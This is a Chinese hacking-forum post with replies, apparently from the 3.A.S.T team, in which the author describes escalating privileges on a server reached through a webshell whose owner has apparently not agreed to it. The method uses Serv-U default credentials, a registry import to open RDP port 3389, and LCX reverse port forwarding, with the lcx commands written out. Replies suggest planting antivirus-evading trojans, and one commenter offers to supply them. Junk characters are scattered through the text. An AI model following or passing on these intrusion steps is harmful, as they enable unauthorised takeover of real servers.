[原创文章] 一次简单的提权 简单

huar

原创作者：huar # @. C2 m7 n8 }
原创出处：3.A.S.T 网络安全技术团队9 y3 T  ^2 _+ |+ }
, E# [$ W7 T8 ^' c
简单的提权教程，希望给还不会提权的兄弟们简单介绍下。8 G7 x# h$ O8 `( X
之前的一个shell，在翻看记事本的时候找到的，大致看了下，shell权限还是非常大的，于是就试试提下权。
: A4 Q/ n- q* V
# j5 _' B2 T" K" z. \- e提权方法：SERU-U+LCX端口转发+注册表开3389端口0 Z6 L  n. D  T; p# _, d1 f+ S

6 S# ^- u. o  ^- ]1 O4 Y在shell里看了下，WScript.shell等重要的组件没有被禁用，首先上传个cmd试下可以运行，在查看服务器开的端口时，发现服务器开了4899、43958等端口，是没有开3389端口的（截图提权之前未截取，抱歉``）。 于是我就试下常用的Serv-U提权了,如果管理员大叔照顾我们这些小菜的话，那就太好了..! E' T7 t, U; x+ {
# ^! x5 G8 K" t- H$ d2 @

$ e6 W9 a! [4 A) z6 {4 @* [1 z2 l+ n1 }2 m: n) [
先用默认账号密码试试，不过很幸运的是用默认账号密码提权成功了，嘿嘿``没想到管理员大叔这么照顾俺们这些小菜..接下来的路就好走多了~~$ c& @/ I5 M2 ^) O4 D; ^

; E" U, l1 }2 c0 \8 G0 y9 p3 m前面说了，服务器是没有开3389端口的，工欲善其事必先利其器，由于现在我手中没有免杀的开3389端口的工具，所以我们就想想其它的办法吧``最后想了下，我们可以用导入注册表的方法开启服务器的3389服务端口，最后上传个开3389的注册表文件，在Serv-U命令下成功导入,3389端口成功开启.
! }# m" B8 m; ?8 a. ~) X  X
( b8 D1 S) T' {/ H& S
* i! E; W* Y+ K! q% ]还有就是服务器是在内网了，那我们就要用LCX做端口转发。
' V6 _$ m% i* X0 v$ J0 o9 O' G服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） 3389  L* [# G, D# J+ M3 g5 b1 \1 X0 }
本地机器运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）/ f, s1 Z, r5 ~! L" k: j+ h

. k8 F* D0 S* ^具体的可以参考下呆呆版主做的视频教程，做的非常详细，在这里就不再多说什么了。
, J3 K- ]! {: B5 p
% C% Y( Y4 H3 e5 U' F$ A) `6 t" ]- b+ m. e  w0 o- ~& X0 W* ]
最后就是我的机器也在内网，LCX 转发端口到本地必须用公网ip，这个好办，路由器里有DMZ，可以用下这个功能的``嘿嘿~~
$ p+ T1 G7 j. Y2 s; X  z$ x/ o% T
, e& t! T" G5 V7 e" n3 L
* I+ }+ ]7 s$ ?+ z6 i) |! V
! N9 d9 S( J  B6 X8 @  m最后远程连接成功```4 B, p: w8 H0 ~) R6 u0 O, P* O
; P2 R, M1 e' f# U0 Z' G# ?

/ G7 k& W2 X7 l. m0 J2 p; M+ _. Q* q1 Z' R$ W) T/ S, I
前几天还在议论INTEL和AMD的服务器处理器的问题呢``这次就遇见个AMD的服务器，嘿嘿`````
! ^( f5 H% f: g  h感觉速度还可以````

huar

沙发自己坐。。。。

oooooo

很不错，技术有进步

柔肠寸断

发表下我自己的看法，其实不用这么麻烦。。。
$ D% T( ?$ b$ @! V  o7 G1 {+ y1 d1 E/ P0 f
既然可以用SU执行命令，你直接传个免杀马上去。。。。8 j* L4 Y6 N0 w8 G5 D* ?4 x

) V# ?( Q& i, z% ^) l没有就找我。。。。。

huar

嘿嘿~~~这只是个方法。。条条大路通罗马嘛~~
$ c6 Z2 K2 H: O& J" E2 y' y' [& m+ r/ i 不过免杀的工具我现在手里是少的很啊~~比如这次开3389吧，我传上几次工具，都被杀软Kill了，都可怜死我了。。最后用注册表开的3389，总之只要思考，方法还是比较多的。。呵呵~~~老大下次你的杀手锏给俺几件呗~~~

流淚╮鮭鮭

可以运行cmd，直接运行免杀马爽快多了。。

huar

6 Q# t' h5 |" ?% {. y

0 x+ y3 e! P* x4 F2 w: p+ ]( @0 u" K/ L汗。。你认为shell下的cmd有那么大权限吗？可以直接运行木马？至少现在我还没有那个运气碰到过~~~楼上的也可以演示下嘛

猪猪

我也没遇到过 可以直接运行马的 有过一次 还总是被杀毒杀

空梦№残心

我家是内网，反弹有点困难

huar

可以直接运行木马，估计需要借助其它的工具，至少我没有碰见shell下的cmd有那么大权限的。。

残爱

学习过了.....  努力!

jion

受益了

在意z

谢谢楼主分享技术。